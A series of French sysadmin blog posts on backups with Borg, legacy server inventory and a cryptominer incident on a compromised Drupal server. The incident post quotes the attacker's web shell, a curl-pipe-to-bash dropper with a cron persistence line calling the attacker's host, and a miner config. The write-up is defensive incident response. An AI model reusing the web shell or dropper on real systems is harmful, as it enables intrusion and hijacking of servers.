Devenir SysAdmin d’une PME – Les sauvegardes- Billet n°4

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0
- Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1
- Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2
- Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3

Introduction

Les sauvegardes... Ah les sauvegardes... Depuis que j'ai eu mon premier ordinateur et que j'ai perdu des données, j'ai appris très rapidement à faire des sauvegardes. Car il y a deux types d'administrateurs systèmes "celui qui a déjà fait un rm -rf /* et celui qui le fera".

J'ai écrit quelques billets au cours des années sur ce sujet, pour aider à savoir quoi sauvegarder etc. je vous mets la liste des principaux billets ici :
- A.I.2 - Qu'est ce que je dois sauvegarder ?
- Sauvegarde la règle des 3-2-1
- L'importance des sauvegardes...
- Sauvegarde et restauration

Dans ce billet, je voudrais parler de quelques trucs sympa sur les sauvegardes.

Borg pour la sauvegarde des fichiers

Nombreux sont les outils pour les sauvegardes de fichers, des scripts maisons à base de rsync en passant par des outils plus évolués comme Duplicty, Rdiffbackup... Dans un précédent billet, j'évoquais Borg comme outil de sauvegarde. Avec les semaines, je reste persuader et convaincu que Borg est l'outil idéal et permet de faire, d'une façon simple, des sauvegardes des fichiers (on exclue le cas des bases de données qui sera traiter dans un billet ultérieur). Et je ne suis pas le seul à le dire. Cet article Sauvegarder ses machines avec Borg et Backupninja présente par exemple les avantages de Borg Contrairement à rdiff-backup qui a un algorithme basé sur rsync et fonctionne par incrémentation de version en version (ce qui interdit notamment de supprimer une version intermédiaire), BorgBackup utilise une technique de déduplication de morceaux (chunks). Au lieu de travailler par fichiers, il concatène (et compresse) tout ce qu'il y a à sauvegarder, pour le stocker par morceaux de 50Mo. Sans rentrer dans les détails, les intérêts sont multiples...

Le but de cette partie n'est pas de faire un tutoriel sur Borg, mais de parler de mon retour d'expérience sur le sujet en quelques mots. Je l'utilise au quotidien pour mes sauvegardes de mon poste professionnel mais également pour différents serveurs. C'est rapide, simple et efficace, pour gérer des sauvegardes de plusieurs gigas en sauvegarde chaque jour (avec peu de fichiers modifiés), ça prends quelques dizaines de secondes. Pour le cas des serveurs, j'ai mis en place un script shell on ne peut plus basique, qui fait appel à Borg. Un script du type de celui-ci est placé en tâche cron lancé chaque nuit. Si besoin, l'avantage de Borg est que l'on peut même faire une tâche cron qui se lance toutes les heures pour avoir une sauvegarde des fichiers toutes les heures. Ca ne prendra pas beaucoup de place et on aura toutes les sauvegardes dont on pourrait avoir besoin...

# on se place dans le répertoire ou l'on veut sauvegarder, qui est un montage d'un espace de stockage dédié partagé par SSH, monté en SSHFS
cd /Backup
# on lance la sauvegarde par borg qui s'effectue par un incrémental
borg create -v --stats ./::`date +%Y-%m-%d-%H:%m:%S` /le_dossier_a_sauvegarder --show-rc -v >> /tmp/mailreport.txt 2>&1

# Purge des anciennes sauvegardes, on garde sur 7 jours, 1 par semaine pendant 4 semaine, 1 par an
borg prune -v --list --keep-daily=7 --keep-weekly=4 --keep-monthly=-12 .

# Pur avoir la liste des sauvegardes dans le mail de rapport de la sauvegarde
echo -e "Liste des Sauvegardes\n" >> /tmp/mailreport.txt
borg list . >> /tmp/mailreport.txt

# envoie du rapport par courriel
sendemail -f expediteur@domaine.com -u "Sauvegarde du serveur XXXX - Daily Report" -t destinataire@domaine.com -s smtp.domaine.com -o message-file=/tmp/mailreport.txt

Pour répondre à la règle des 3, 2, 1, il faut donc avoir une copie externalisée qui est une copie / réplication de l'espace de stockage qui reçoit toutes les sauvegardes. A voir ce que l'on met en place : disque répliqué à l'identique, service de stockage haute-disponibilité...

Sauvegarde de la configuration

Pour l'instant, ce que je fais, c'est un export via Scp de tout /etc des différents serveurs avec la remontée des fichiers de configuration dans un dossier nommé selon le serveur dans un projet dédié dans un Gitlab. Ca se scripte assez bien pour avoir le scp, un git commit... Je fais au plus facile pour l'instant mais je pense. Pourquoi pas Borg ? Car git permet d'avoir l'historique et de comparer facilement les fichiers là où Borg permet de conserver l'ensemble d'une arborescence à un instant t, une sorte de snapshot, mais il faudrait montrer plusieurs sauvegardes pour faire les comparaisons fichier à fichier..

Je réfléchis à la mise en place d'un outil comme Etckeeper pour avoir une autre automatisation, il faut encore que j'étudie ça.
etckeeper est un système conçu pour suivre la configuration d'une machine (répertoire /etc, d'où le nom) à l'aide d'un gestionnaire de versions(par exemple Git).
Deux tutoriaux sur le sujet :
- Etckeeper sur le site de l'association Grenode
- Etckeeper sur le blog Syloe.com

Sauvegarde des bases de données

Du classique, un script, une tâche cron pour faire un export Dump sur un espace de stockage... Je pense que je développerai ce sujet dans un billet une prochaine fois.

Une sauvegarde complète (un snapshot par exemple pour une VM) et des sauvegardes régulières des éléments changeants

Snapshots

Dans mon billet Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1, je parlais de machines virtuelles sur des hyperviseurs. Je gère ces machines virtuelles comme des serveurs et j'applique donc au fur et à mesure l'homogénéisation de la sauvegarde en mettant Borg en place partout.
Il est important de pouvoir remonter rapidement un service et avec une V.M., c'est assez simple. Un snapshot régulier (je travaille à scripter l'automatisation et la rotation de ces snapshots sur Xen, je ferai un billet sur le sujet), le delta de la VM correspondant à ce qui est sauvegarder de façon journalière. Je n'ai donc qu'à restaurer la VM, à réappliquer les mises à jours de l'OS, éventuellement restaurer les données et les fichiers de configuration et tout est bon.

A noter que je ne considère pas le snapshot comme une sauvegarde mais comme un complément de sauvegarde. Le snapshot ne suffit pas comme la sauvegarde ne suffit pas. Si il faut réinstaller tout une machine avec tous les services... Quoiqu'avec le tournant qu'apporte le Devops et la gestion en mode PAAS, la création de VM à la demande et l'industrialisation à venir... Bref, encore plein d'autres sujets à aborder dans les prochaines semaines et prochains mois... A suivre.

Devenir SysAdmin d’une PME – Accepter de ne pas avoir le contrôle sur tout- Billet n°3

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0
- Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1
- Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2

Nouveau billet de la série Devenir SysAdmin d'une PME avec cette fois ci un billet de réflexion autour du sujet du contrôle et de la maîtrise et plus exactement sur le fait d'accepter de ne pas avoir le contrôle sur tout.

A la mi-mars, j'écrivais deux billets assez intimistes à savoir Le métier passion et Tout intellectualiser, dans lesquels j'évoquais le travers dans lequel j'étais tombé de part avoir (enfin) un métier que j'aime et la volonté de vouloir toujours plus de contrôle...

Dans les semaines qui ont suivies, j'ai pris du recul, réfléchit et j'apprends peu à peu à accepter qu'on ne peut pas avoir le contrôle sur tout. Comme indiqué avec le début de la série de billet Devenir SysAdmin d'une PME, je suis en pleine restructuration de l'infrastructure en commençant par l'appropriation de cette dernière, la gestion de la documentation pour me permettre l'appropriation des différentes strates et couches accumulées au cours des années par différents administrateurs systèmes. Avant de pouvoir passer à une phase d'homogénéisation permettant alors une industrialisation de le gestion de tout le S.I., il y a la compréhension de ce dernier, la gestion du legacy, la gestion des incidents de sécuritépar méconnaissance de l'existence de ce site Drupal planqué dans un coin)...

Accepter de ne pas avoir le contrôle sur tout, c'est accepter que l'on a encore beaucoup de travail à faire avec la gestion du legacy. Et qu'un incident interviendra forcément sur quelque chose que l'on a pas encore eu le temps de documenter ou de revoir la documentation si celle-ci est déjà existante. Il y aura forcément, dans un coin, le serveur qui marche et que tout le monde a oublié avec un mot de passe que personne ne connaît plus... Jusque ce qu'il y ait un soucis (un disque qui ne répond plus ou autre) et que soudain, cela devienne une priorité.

Idem pour les sauvegardes. Je dois faire un billet dédié sur la mise en place des sauvegardes avec Borg (que je ne peux que conseiller et tous les retours que j'en ai des personnes qui ont suivi ce conseil me conforte dans le fait d'avoir moi-même suivi le conseil d'utiliser Borg. Les sysadmin, une grande famille qui partage les bonnes astuces). Je pars du principe que si je ne sais pas, ça n'existe pas.

Il y a très certainement des sauvegardes automatisées et tout marche. Mais comme dans tout legacy, il y a différents outils, mis en place au fur et à mesure. Je pars du principe que si je ne sais pas (encore) comment ça marche et surtout si je n'ai pas testé la restauration de la sauvegarde, ça n'existe pas. C'est très direct. Mais au moins ça donne un bon aperçu de la réalité : le moment où j'aurai besoin de cette sauvegarde, ce sera forcément dans un moment d'urgence. Si je ne sais pas comment ça marche et comment restaurer, cela revient à ne pas avoir de sauvegarde d'une certaine façon. Accepter de ne pas avoir le contrôle sur tout, c'est accepter que pour l'instant, tout n'est pas industrialiser au niveau des sauvegardes, que tout n'est pas sous contrôle...

De même, dans le cadre de la sécurité et de la gestion des PC des collaborateurs. Beaucoup d'entreprise font le choix de verrouiller au maximum les PC en limitant les droits, les applications installées, en mettant des proxys... Une autre façon de faire et de sécuriser le S.I. et d'accepter le BYOD et de responsabiliser les collaborateur.trice.s. L'entreprise dans laquelle je suis, je l'ai choisi sur de nombreux critères dont le fait que l'on soit Administrateur de sa machine. Le fait que l'on soit sous un O.S. GNU/Linux (distribution de son choix) limite grandement les risques de sécurité classique liés aux postes sous Windows (virus, spyware...) tout comme le fait d'avoir des colloborateur.trice.s geek, utilisateur.trice.s avancé.e.s ayant par conséquence des notions plus élevés que la moyenne des bonnes pratiques de l'hygiène numérique. Un exemple est la facilité que j'ai à imposer l'usage de Keepass vu que beaucoup l'utilisent déjà par défaut.

Toutefois, je sais bien qu'un tas de fichiers sont créés sur lei postes utilisateurs... Et avec la mise en application du RGPD, il y a eu des nouvelles sessions de formation et de sensibilisation de faite et des sessions à faire et refaire, aux nouveaux arrivants, en rappel... De même, trop nombreuses restent encore les personnes qui ignorent que Firefox stocke les données du profil en clair sur le disque, et que l'OS a beau avoir un mot de passe, l'intégralité du contenu du disque est accessible via un live usb. Dans ce cas, seule solution : le chiffrement du poste. Là, encore, accepte-t-on de ne pas avoir la phrase de passe ?

Autre cas, la gestion des tickets, des demandes etc. Là encore, il faut accepter de déléguer, en donnant des consignes strictes sur la qualité de la documentation mise en place, sur l'enrichissement et le maintient de cette dernière. On ne peut pas tout faire et il faut donc accepter de ne pas avoir le contrôle sur tout. Mais ce n'est pas une raison pour que l'on ait le contrôle sur rien ;)

Devenir SysAdmin d’une PME – Mineur de bitcoin- Billet n°2

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s'en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduits à l'infection de serveurs par des mineurs de bitcoin.

Attention :
- je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
- le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.

Mineur de bitcoin Détection & Root Cause

Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...

Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.

Analyse des processus

Via htop on a processus chron-34e2fg qui tourne un fond. Et on a son PID

un PID. La commande lsof donne le chemin du programme a la source :

root@machine:~$ lsof -p le_PID
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chron-34e 2059 www-data cwd DIR 202,1 4096 2 /
chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg
chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe
chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null
chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)

On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.

Autre cas avec un autre mineur :

root@machine:/# ps -aux |grep sus
rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1


Dans ce cas là, on a un fichier de configuration.


Détection des processus et fichiers ouverts par un utilisateur


root@machine:/# lsof -u www-data
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
sh 5399 www-data rtd DIR 8,1 4096 2 /
sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash
sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so
sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so
sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe
sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO
curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
curl 5400 www-data rtd DIR 8,1 4096 2 /
curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl

On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp

Blocage des IP des serveurs extérieurs

Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu

On cherche l'IP derrière cette machine via un simple et bête ping

root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
^C
--- ip56.ip-217-XXX-XXX.eu ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms

Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.

On bannira cette IP.

On regarde le contenu du fichier de configuration

more config.json
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "158.69.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "192.99.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "202.144.XXX.XXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}

On bannira ces IP.

Vérification des connexions réseaux actives

Trois commandes et outils pour voir les connexions actives avant et après le bannissement

netstat -puant
Nethogs
Iftop

qui confirment les connexions aux serveurs.

Bannir les IP

Pour chaque série d'IP, on bannit via iptables

iptables -A INPUT -s 217.182.231.56 -j DROP
iptables -A OUTPUT -d 217.182.231.56 -j DROP

Connexion sortantes et entrantes bloquées, nettoyage...

Méthode barbare

rm -rf /tmp
rm -rf /var/tmp

Et on tue les processus liés à www-data

killall -u www-data

Autres fichiers en PHP dans la partie Drupal - site web

Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. ON trouve, entre autres des fichiers étranges.

$ ls
css.php sl.php ifm.php phpminiadmin.php 404.php iindex.php
cat lefichier |base64 -d
if(isset($_REQUEST['pass']))
{
echo "
"; 
$hash = hash("sha512", $_REQUEST['pass']);
if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
{ if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
else echo "gtfo";
echo "
";
die;
}

Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s'en protéger, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...

Les fichiers réapparaissent

Malgré les kill, le processus se relance et les fichiers réapparaissent.

On regarde de nouveau les processus

root@machine:/# ps -aux |grep rapport
rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s
rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3
root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport

root@machine:/# ps -eaf |grep rapport
rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s
rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com
root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport
On un curl qui est lancé (qui était masqué).

On récupère le fichier via wget et on regarde son contenu

$ cat logo9.jpg
#!/bin/sh
pkill -f 192.99.XXX.XXX
pkill -f suppoie
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....

C'est ce processus masqué qui fait revenir les fichiers...

Ban de l'IP

iptables -A INPUT -s 192.99.XXX.XXX -j DROP
iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP

Nettoyage des tâches cron

Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.

En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs
Il reste des tâches à nettoyer :

root@machine:/var/spool/cron/crontabs# ls
www-data

cat www-data
root@machine:/var/spool/cron/crontabs# cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/cron installed on Mon May 21 09:46:01 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s

Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur

rm /var/spool/cron/crontabs/www-data
killall -u www-data

Changement des droits de /var/tmp

Par défaut, les droits de /var/tmp était en 777 sur cette machine...

chmod 755 /var/tmp

comme ça le processus lié à l'utilisateur php ne peut plus écrire.

Conclusion

On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le n temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...

Devenir SysAdmin d’une PME – Gestion du legacy- Billet n°1

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Le legacy ?

Dans le présent billet je voudrais parler du legacy. Sous le terme de legacy ou héritage en anglais, j'inclue l'ensemble des machines et serveurs du système d'information que l'on a en gestion, et dont, on hérite d'une certaine façon en reprenant la gestion du parc informatique.

En quoi est-ce un point important ? Afin de pouvoir aller vers l'avenir, il faut déjà regarder le passé et faire un état des lieux. L'objectif est d'avoir une parfaite vue d'ensemble des machines, de leurs rôles, de leurs criticités... De savoir ce qui est documenté et ce qui ne l'est pas, de savoir quelle machine sert à quoi...

En premier lieu il est important de dresser un inventaire exhaustif du par informatique côté serveur (dans un premier temps on exclue les postes utilisateurs : chacun est administrateur de sa machine, sous une distribution GNU/Linux de son choix et cela simplifie grandement les choses en terme de maintenance des postes utilisateurs...)

Dresser une cartographie complète de l'existant

A ma connaissance, il y a deux façons : la façon barbare et la façon longue et fastidieuse

La façon barbare : Il faut préalable connaître l'ensemble des plages IP utilisées sur le réseau de l'entreprise et on fait alors un scan en mode intense via Nmap de l'ensemble des IP de ces plages, depuis une machine du réseau interne. Avec un peu de chance on se fait bannir rapidement par un outil de détection... ou pas.

Ce scan intense permet de savoir sur quelle IP quelle machine répond, d'avoir son OS et sa version, les ports ouverts... A moins que les machines soient bien configurées et sécurisées, cela donne une bonne idée des plages IP occupées, des machines qu'il y a derrière et donne une bonne base de travail.

La façon plus moderne

Avec un peu de chance un outil du type Ansible a été mis en place et les machines sont ansiblelisées. On pourra donc se baser (se reposer) sur des playbooks existants pour avoir une base pour interroger les machines de façon moins barbare.

la façon longue et fastidieuse

J'évoquais dans mon article précédent le fait que je ne pars pas de rien, j'ai connaissance d'une liste des machines, dont des hyperviseurs sur lesquels tournent des machines virtuelles. J'ai accès à ces hyperviseurs. Je me connecte donc au hyperviseurs et de là je me connecte aux machines virtuelles. Je notes les caractéristiques qui m'intéressent, je vois ce que ces machines contiennent en terme de services... Une à une, je me connecte à la machine et je note les informations pertinentes dans un tableau que j'enrichis au fur et à mesure.

Long. Très long. Mais cela m'a permis de valider que j'ai bien accès à chacune des machines (j'ai ensuite tester une connexion depuis ma machine en SSH pour valider que ma clef publique a bien été déployée sur chaque serveur par le système qui le fait de façon automatisée), que la machine est accessible, fonctionnelle...

Tableau de suivi

J'ai donc constitué un tableau dans un tableur pour faire mon suivi. Les colonnes sont les suivantes :
- Nom de machine,
- IP publique
- IP privée
- Groupe
- Wiki : j'ai créer une page dédiée pour cette machine que j'enrichis au fur et à mesure
- Services
- Etat des sauvegardes : sauvegardée ou non
- Version de l'OS
- Etat des mises à jour
- Présence ou non de fail2ban
- Liste des ports ouverts sur l'extérieur
- Machine faisant partie de la liste des machines supervisées par notre outil (un billet complet sera dédié à la supervision).
...

Comment gérer le legacy ? Des O.S. obsolètes...

Que ce soit des machines virtuelles ou physiques, le constat est bien ce que l'on pouvait redouter : des tas de machines sont souvent sous des versions obsolètes d'O.S. non maintenues... Il va y avoir du travail.

Il ne faut surtout pas se précipiter et migrer de version en version de Debian à coup de dist-upgrade. Il faut comprendre pourquoi ces machines ne sont pas à jour, quels logiciels et dans quels versions tournent sur ces serveurs... Dépendance à une version particulière de PHP ? La migration sur une version plus récente casse une API ? Les raisons sont multiples et avant de penser "Et la sécurité, vite faut mettre à jour", il faut penser "de toute façon ça tournait jusque là, donc on reste calme, on réfléchit et on avise".

Il faut prendre ça avec humour.

Vu les uptime et les versions d'OS, vu que le parc informatique est composé à 99% de machine Debian en version stable (de différentes époques), je peux affirmer que oui, Debian stable, c'est stable.

Comment gérer le legacy ? Cas de la gestion des machines physiques

Dans la liste des serveurs, il y a des machines qui sont des vrais serveurs physiques. On pense donc aux capacités de redondance : alimentations redondées, ventilateurs redondés, disques en RAID... Le soucis est que je ne sais pas quand les machines ont été achetés, elles tournent 24h sur 24h...

Dans une vie précédente, j'ai été confronté au cas suivant : des serveurs de plus de dix ans... Un ventilateur de la baie de disque a lâché. Pas grave, c'est redondé, on verra bien. Sauf que le deuxième ventilateur a tourné plus vite pour compenser la dissipation de chaleur nécessaire, a lâché quelques jours après. Interruption de la baie de disques et de la production, nécessité de renouveler du matériel en urgence et bien que sous garantie étendue par le constructeur, ils ont mis plusieurs jours à retrouver un modèle compatible au fin d'un stock à l'autre bout de la France et à le faire revenir... en urgence...

Cette expérience m'a marquée et depuis, je fais un check régulier des machines de la salle serveur. Un contrôle journalier des différents voyants des différents serveurs. L'objectif est de prévoir & anticiper les pannes.

Et surtout je commence à anticiper et à prévoir une migration de toutes les machines que je peux migrer sur des machines virtuelles avec des O.S. plus récent et ansiblelisés. L'intérêt de passer de machines physiques à des machines virtuelles dans un vraie data-center et de faire abstraction de la gestion du matériel et de délégué ça à des personnes dont c'est vraiment le métier...

Comment gérer le legacy ? Lister les priorités et les services critiques

Une fois que l'on a une cartographie un peu plus complète, il faut alors lister les machines critiques, avec leurs importances (serveur de mail, d'impression, DNS...) et au plus vite vérifier :
- que l'on a des sauvegardes et que l'on sait les restaurer ;
- que ces sauvegardes marchent ;
- que les machines sont à jour...

Il faut savoir pour chaque machine sa criticité, avoir un PRA (Plan de Rétablissement de l'Activité) et pour le cas des sauvegardes, partir du principe que si on ne sait pas, cela n'existe pas. Peut-être (et sûrement) qu'il y a des sauvegardes régulières et automatisées. Mais si on ne sait pas, on ne sait donc pas restaurer les données et les sauvegardes ne servent à rien en l'état. Donc là encore un gros chantier pour vérifier que tout est bien sauvegarder et avoir un système de sauvegarde uniforme, efficace et puissant (BORG !).

Conclusion

Un deuxième billet qui montre le début d'un long chantier que j'ai entamé avec plusieurs heures de travail par jour pendant des semaines.

Dans les prochains sujets, il y aura la Supervision, les Sauvegardes, la Sécurité, les montées en version et les mises à jours.... Encore plein de sujets et d'expériences à faire sur mon histoire et comment je deviens SysAdmin d'une PME. A suivre donc.

Devenir SysAdmin d’une PME, retour d’expérience – Billet n°0

Introduction

Depuis mes débuts sous Linux, j'ai toujours su taper des commandes. Très tôt, j'ai appris à installer différents services et des serveurs (essentiellement dans des machines virtuelles et pour faire du LAMP : Linux, Apache, MySQL, PHP), mais c'est toujours resté de la bidouille. Avec le début de mon autohébergement fin décembre 2015, j'ai commencé à m'intéresser aux problématiques d'administration système. A l'été 2016, pendant les vacances, j'ai mes débuts véritable en sysadmin - administration système en cherchant à comprendre comment fonctionnait Yunohost dans ses entrailles, les différents services, en cassant et restaurant sans soucis à plusieurs reprises mon instance de production... J'ai donc appris et pas mal progressé à titre personnel, en gérant mon instance Yunohost, soit un seul serveur.

Pourtant, à côté, j'ai continué à m'intéresser à une gestion plus professionnelle et industrielle et en début de cette année 2018, je me suis vu affecter la reprise de la gestion de toute l'infrastructure de la société dans laquelle je travaille. Cette prise de fonction et de responsabilité a été décidé dans le cadre d'une restructuration des services : gérer les services de production, de support et d'infrastructure interne et liée à nos clients permet d'avoir une meilleur vision d'ensemble, plus de réactivité...

Comme toute nouvelle prise de fonction, les précédentes personnes ayant eu à gérer le service sont parties faire d'autres horizons bien qu'une passation de connaissances s'est faite, elle s'est faite rapidement.

Et avec les semaines, on découvre que même si une documentation existe (répartie dans plusieurs wikis), elle n'a pas été maintenue à jour, n'est pas assez détaillée ou obsolète... Et avec le temps il y a des choses qui marchent mais on ne sait pas comment, il y a des serveurs qu'on ne touche pas, des services qui tournent alors on ne touche à rien. Tout cet héritage et empilage de choix technique mis en place avec les années par les différents administrateurs systèmes qui se sont succèdés, c'est ce que j'appellerai le legacy, soit l'héritage.

Contexte de l'infrastructure Je pense qu'il est important, pour la suite des billets que j'aurai à rédiger, de préciser, que l'infrastructure actuelle se compose de trois grandes catégories de machines et ces catégories ont leurs importances :
- Les machines physiques : 99% des serveurs sont sous Debian, dans différentes versions
- Les machines virtuelles sur un hyperviseur : Xen et Proxmox
- Les machines cloud (sur l'hyperviseur d'un autre)

Un travail de modernisation avec le passage à des technologies plus évolutives et flexibles (virtualisation, Docker / K8S Kubernetes...) a été débuté mais il reste encore beaucoup de "une machine physique ou virtuelle pour un service dédié" avec autant de système d'exploitations et d'applications à maintenir et à découvrir...

Je pense que je ferai là encore, une série de billets au fur et à mesure de ma progression et sur comment j'ai commencer à dresser une cartographie détaillé de l'existant, documenter de novo en reprenant TOUTE la documentation existante pour la remettre d'aplomb... Et dans le futur, je parlerai de mon expérience dans la mise en place de nouveau service, dans la refonte et modernisation de l'infrastructure...

L'objectif de ma série de billets ces prochains mois sera le partage de mon expérience acquise avec le temps, le partage de bonnes pratiques mises en places, d'astuces etc. En complément de ma série de billets plus spécifiques sur le projet Chatonkademy/

Les commandes que j'utilise le plus

